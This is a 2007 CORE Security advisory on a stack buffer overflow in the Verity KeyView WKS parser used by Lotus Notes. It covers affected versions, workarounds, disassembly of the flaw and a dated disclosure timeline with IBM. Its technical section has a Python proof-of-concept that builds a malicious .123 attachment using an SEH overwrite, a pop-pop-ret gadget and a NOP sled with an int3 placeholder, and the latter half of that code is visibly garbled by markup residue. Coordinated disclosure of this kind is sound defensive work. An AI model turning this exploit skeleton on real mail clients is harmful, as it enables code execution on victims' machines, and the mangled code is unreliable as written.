Lotus Notes buffer overflow in the Lotus WorkSheet file processor

Advisory ID Internal
CORE-2007-0821

Advisory Information

Title: Lotus Notes buffer overflow in the Lotus WorkSheet file processor
Advisory ID:  CORE-2007-0821
Date published: 2007-11-27
Date of last update: 2007-11-27
Vendors contacted: IBM Corp.
Release mode: COORDINATED RELEASE

Vulnerability Information

Class: Input validation error
Remotely Exploitable: Yes
Locally Exploitable: Yes
Bugtraq ID: 26604
CVE Name: CVE-2007-6593

Vulnerability Description

Lotus Notes is the integrated email, calendar, instant messenger, browser and business collaboration application developed by IBM to work as a desktop client in conjunction with IBM’s Lotus Domino server application.

The email functionality of Lotus Notes supports previewing and processing file attachments in various formats. To preview and process files in the Lotus Worksheet File format (WKS) used by Lotus 1-2-3 the email client uses a library from a third-party software vendor (Autonomy’s Verity KeyView SDK). Several buffer overflow vulnerabilities were found in the third-party library used by Lotus Notes to process Lotus 1-2-3 file attachments.

These vulnerabilities could allow attackers to remotely execute arbitrary commands on vulnerable systems by attaching a specially crafted file that triggers exploitation when unsuspecting users attempt to “View” the attachment. Exploitation of these vulnerabilities requires user intervention.

Although these specific vulnerabilities exist on a third–party component the problem is compound by the way Lotus Notes displays information about attachments, making it easier to elicit unsuspecting assistance from the users to exploit them.  Lotus Notes displays the file type and corresponding icon based on the attached file’s extension rather than the MIME Content-Type header in the email whereas the view functionality is handled by the Verity KeyView component which processes the attachment based on the file contents.  Exploitation of these vulnerabilities requires end-user interaction but the discrepancy described above could allow an attacker to send a malicious Lotus 1-2-3 file as an attachment with a seemingly innocuous extension (for example, .JPG or .GIF) that more easily lure users into viewing it thus making it easier to succeed in the exploitation attempt.

These vulnerabilities have been discovered and tested using Lotus Notes and the Verity KeyView SDK components it uses but other applications that use the Verity KeyView SDK may be also vulnerable.

Vulnerable packages

  • Lotus Notes version 7.x
  • Lotus Notes version 8.x (not confirmed by Core)
  • Lotus Notes version 6.5.6 (not confirmed by Core)
  • Other software packages using Verity KeyView SDK using vulnerable versions of  l123sr.dll

Non-vulnerable packages

Solution/Vendor Information/Workaround
Lotus Notes customers should follow the instructions of the following support Technote.

Workaround 1: Delete the keyview.ini file in the Notes program directory. This disables ALL viewers. When a user clicks View (for any file), a dialog box will display with the message "Unable to locate the viewer configuration file.".
 
Workaround 2: Delete the problem file l123sr.dll file. When a user tries to view the specific file type, a dialog box will display with the message "The viewer display window could not be initialized." All other file types work without returning the error message.

Workaround 3: Comment out specific lines in keyview.ini for any references to the problem file (l123sr.dll). To comment a line, you precede it with a semi-colon (;). When a user tries to view the specific file type, a dialog box will display with the message "The viewer display window could not be initialized". For example:

 

[KVWKBVE] ;81.2.0.5.0=l123sr.dll ;81.2.0.9.0=l123sr.dll

 

Workaround 4:  Filter inbound emails with attachments with potentially malicious files.  Lotus 1-2-3 files are usually associated to MIME Content-Type headers set to the following strings:

 

application/lotus-1-2-3 application/lotus123 application/x-lotus123 application/wks application/x-wks application/vnd.lotus-1-2-3

Note however that  workaround #4 is a simple stop gap measure that could be circumvented by relatively unsophisticated attackers.

Credits

This vulnerability was discovered by Sebastián Muñiz from the CORE IMPACT Exploit Writers Team (EWT).

Technical Description / Proof of Concept Code

Lotus 1-2-3 and Lotus Symphony spreadsheet applications use the Worksheet File format [1] to persist spreadsheet data on the file system. Lotus Notes uses a third-party library to process file attachments in the Lotus Worksheet File format (WKS).

A worksheet file in WKS format is simply a binary representation of the spreadsheet built using a sequence of binary records in the TLV form (Type-Length-Value) where both Type and Length are encoded using two bytes.

There are multiple vulnerabilities in the way the Verity KeyView SDK DLL processes the TLV records of a worksheet file. These vulnerabilities stem from lack of proper consistency checks for the stated Length and the corresponding Value in several record Types.

As an specific example for records of type SRANGE (0x001b) which can specify arbitrary lengths of data that the library attempt to copy in to a fixed length buffer in the stack is shown in following disassembled code:

.text:02A87FD4 cmp eax, 1Bh .text:02A87FD7 jz loc_2A881C9 ... .text:02A881DC lea eax, [ebp+szVulnerableBuffer] .text:02A881E2 push edi ; length of read operation, taken from the file .text:02A881E3 push eax ; stack based buffer .text:02A881E4 mov eax, [ebp+0Ch] .text:02A881E7 push eax .text:02A881E8 call dword ptr [eax+24h] ; read function!


When a field of type SRANGE (0x001b) is read the conditional jump at 0x02A87FD7 (jz 0x2A881C9) is taken. The destination buffer is cleared and the Length value for this record is read to
process it.

At address 0x2A881E2 edi (containing the Length of the TLV record) is pushed and then the read operation takes place at address 0x2A881E8 reading an arbitrary amount of bytes into a fixed size buffer in the stack. Thus a malicious Worksheet file can trigger execution of arbitrary code on vulnerable systems by exploiting the vulnerability using one of the appropriate exploitation techniques for stack-based buffer overflows.

However, exploitation on a Lotus Notes email client requires that the user attempts to view the attached file following this steps:

  • Select email containing the attachment
  • Right-click on attachment
  • Select “View” to open the file inside of Lotus Notes.

Unfortunately, users can be lured into performing the steps above due to the fact that it is possible to send a malicious attachment with a seemingly innocuous file name and extension such and have the Lotus Note client show a graphic icon for the attachment that corresponds to the filename extension and not to the actual contents of the file.

Proof of concept snippets
The following snippet of Python code generates a .123 file that triggers the bug when it is processed by vulnerable versions of the library. The proof-of-concept file will only trigger an exception for debugging purposes (int 3) but it makes it evident that exploitation of the bug in order to execute any arbitrary code is possible.

from sys import argv from struct import pack def createMaliciousFile(filename): seh_offset = 0x9c4 jumper = 0x06ad890d # pop pop ret ... CHANGE IT! (dll is rebased) shellcode = '\x90' * 0x400 + '\xCC' # nopsled and int 3 content = '\x00\x00' # header record type content += '\x1a\x00' # header length content += '\x05\x10\x04\x00\x00\x00\x00\x00\x09\x00\x00\x01' # header body and other stuff content += '\x01\x00\x30\x8d\x01\x0a\x00\x00\x00\x00\x00\x00\x00\x00' # continuation content += '\x1b\x00' # vulnerable record type payload = '' payload += '\x90' * (seh_offset - 4) # here we could use any other random chars payload += '\xeb\x06\x90\x90' # jmp six bytes forward payload += pack('<l', jumper)="" payload="" +="shellcode" content="" len(payload))="" fd="open(filename," 'wb')="" fd.write(content)="" fd.close()="" if="" len(argv)="" is="" not="" 2:="" print="" '[-]="" must="" specify="" a="" filename.="" remember="" to="" change="" the="" pop="" ret="" address!="" :)'="" else:="" createmaliciousfile(argv[1])="" <="" pre="">

Report Timeline

  • 2007-09-13: Email to IBM AIX security requesting security contact information for Lotus Notes
  • 2007-09-14: Reply from IBM AIX security team with contact information of the IBM Lotus Notes security team
  • 2007-09-17: Email to IBM Lotus Notes security notifying Core’s intent to report the vulnerability in Lotus Notes and Autonomy’s KeyView SDK and requesting an acknowledgement within 2 business days indicating of whether further communications should be encrypted. Security advisory publication date set to October 15th. Security contact information for Autonomy’s KeyView requested.
  • 2007-09-18: Response from Lotus Notes security providing public PGP key to encrypt further communications and inquiring is the publication date is flexible or fixed.
  • 2007-09-18: Email from Core including details about the vulnerability in a draft advisory document. Core indicates that the publication date for the security advisory is flexible and could be changed (postponed or brought forward) on the basis of concrete and precise information about availability of fixes. Security contact information for Autonomy requested.
  • 2007-09-19: Email from Lotus Notes security indicating that the bugs will be investigated and that will check and get back regarding the request contact of information for Autonomy.
  • 2007-09-20: Email from Lotus Notes Security requesting proof-of-concept code to validate the finding.
  • 2007-09-21: Proof-of-concept code and sample of a malicious file sent to Lotus Notes Security
  • 2007-09-21: Email from Lotus Notes Security indicating that the proof-of-concept will be passed to the development team and contact information for Autonomy made available after verification.
  • 2007-10-03: Email from Core requesting a status update and reminding Lotus Notes security that the disclosure date was originally set for October 15th.
  • 2007-10-05: Email from Lotus Notes Security indicating that the vulnerability has been reproduced and a Lotus Software Problem Report has been issued. The issue has been logged with Autonomy and that currently there is no information available about how or when it will be fixed.
  • 2007-10-17: Email from Core’s Security advisories team requesting a status update and indicating that the original date planned for publication of the advisory has already passed without any communication from IBM regarding the issue, let alone any concrete plans to fix the bug. The publication date for Core‘s security advisory has been re-scheduled for October 30th, 2007. The date remains flexible on the basis of receiving concrete and specific details about availability of fixes by Wednesday, October 24th.  An up to date copy of the security advisory provided for comments and suggested workarounds.
  • 2007-10-23: Email from Lotus Notes Security indicating that a ticket had been opened with Autonomy and that since this is a client-side issue the fix would be provided in one of the future maintenance releases of the Lotus Notes client. Ongoing work with Autonomy needs to continue before being able to confirm when the fix will be rolled into the product.
  • 2007-10-23: Email from Core’s advisory team with follow up questions to Lotus Notes Security: 1. Is it official policy to include fixes to client-side vulnerabilities in maintenance releases? 2. What is the scheduled date for general availability of the next maintenance release? 3. Will the fix to the bugs reported in l123sl.dll be included in the next maintenance release? Core also highlights that at the same time that Lotus was notifying Core  a maintenance release for Lotus Notes was released, fixing several bugs that are almost exactly the same as the ones Core reported. Core indicates that while we appreciate involvement from Lotus Notes Security and the reassuring statements about how serious are the bugs taken at Lotus, Core considers concrete details and specific actions better indicators to assess how serious a vendor is. The fact that Lotus Notes didn’t even notify Core of such a highly relevant upcoming disclosure, (which included workarounds that could apply to the problem reported by Core) is a discouraging indicator. Furthermore, since Lotus Notes still hasn’t provided any specific timeline to release fixes and after analysis the timelines of the third party advisories of the recently disclosed vulnerabilities, a reasonable assessment based on evidence indicates and expectation of 10 months from the initial date of report to the vendor and a 7 months estimation since the vulnerability positive confirmation date. Based on that and the assessment that addressing the reported vulnerabilities requires a much faster pace for fixes, Core will proceed with the advisory release currently scheduled for October 30th, 2007. The workarounds already provided by Lotus for similar vulnerabilities will be included in Core’s advisory. Any official statements from the Lotus Notes team regarding workaround or availability of fixes should be received by COB Friday Oct. 26th.
  • 2007-10-24: Email from Lotus Notes security indicating that included statements are not official. Answers to questions from Core’s email provided: 1. Yes, client-side fixes are included in Maint. Releasesof Lotus Notes, Fix Packs are server-based. The bugs reported by core are on the client. 2. Target dates for maintenance releases provided (end of 2007, March 2008, 2009). 3. Still can’t confirm if the fix will be included and to what extent. Autonomy indicated that will ship a fix in version 10.3 which is shipping soon. Core was not notified of the planned release of similar client-side security fixes in the maintenance release to preserve confidentiality with other vulnerability reporters. Likewise Lotus Notes did not notify the others of Core’s similar report.  Three versions of the Lotus Notes client are addressed by Core’s report. Also a partial chronology of the report timeline was provided.
  • 2007-10-26: Confidential email received from Lotus Note Security
  • 2007-10-26: Email fromCore advisories team to Lotus Notes Security acknowledging reception of the previous email. Unfortunately since it did not provide any specific details about a scheduled date for availability of fixes which is what Core need to consider re-scheduling publication of its advisory. Core appreciates other party’s view regarding what constitutes responsible disclosure and but does not agree with any assessments indicating that the company is putting customers at risk. In fact Core’s views are that customer are already at risk due to vulnerabilities and that it is the lack of effective and timely response to mitigate a lack of sound security practices in the SDLC what puts customers at risk. Core’s advisory disclosure seek to inform and explain the situation to vulnerable users and to provide the details necessary to devise, deploy and test protection countermeasures until the vendor comes out with an official fix. Core believes that client-side vulnerabilities are increasingly important and merit the release of stand-alone, out of cycle patches rather the rolling fixed into maintenance releases.  Core was expecting that fixes would be available within several weeks (rather than several months) of confirmation of the vulnerability.
  • 2007-10-29: Email from Lotus Notes Security indicating that delaying publication of Core’s advisory for 30 days would provide enough time to release fixed. Coordinated release of fixes and information suggested for Nov. 27th, 2007. Official statement provided for Core’s advisory. Response from Core is expected by EOD.
  • 2007-10-29: Email from Core’s advisory team indicating that now that a specific date for availability of fixes was provided Core is willing to reschedule publication of the advisory to November 27th, 2007. However, if there are any indications of the bug being exploited “in the wild” information will be released immediately with a Forced Release mode.
  • 2007-11-15: Email from Lotus Notes Security asking if we’re still on target for the Nov 27th release and requesting a URL to Core’s advisory and providing a link to Lotus Notes’ Technote regarding the issue. Question about how Core would like to be credited in the Technote.
  • 2007-11-20: Last email from Lotus notes Security (2007-11-15) resent to Core’s advisories team.
  • 2007-11-20: email from Core’ advisory team acknowledging reception of previous email and stating that Core is on track for the Nov 27th release. URL and credit discovery details provided. A brief description of the planned schedule on publication date included.
  • 2007-11-21: Lotus Notes security acknowledges Core’s last email
  • 2007-11-27: Email from Core’s advisories team sent to Lotus Notes Security with final draft of security advisory CORE-2007-082
  • 2007-11-27: Email from Lotus Notes notifying of the release of the Technote concerning this issue.
  • 2007-11-27: Email from Core’s advisories team sent to Lotus Notes Security with final draft of security advisory CORE-2007-0821
  • 2007-11-27: CORE-2007-0821 advisory published

Additional Information/ Resources

[1] Lotus Staff, Worksheet File Formats, Addison-Wesley Longman Publishing Co., Inc., Boston, MA, 1987.
 

About Corelabs

CoreLabs, the research center of Core Security , is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: www.coresecurity.com/core-labs/

About Core Security 

Core Security develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. 

DISCLAIMER

The contents of this advisory are copyright (c) 2007 CORE Security and (c) 2007 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.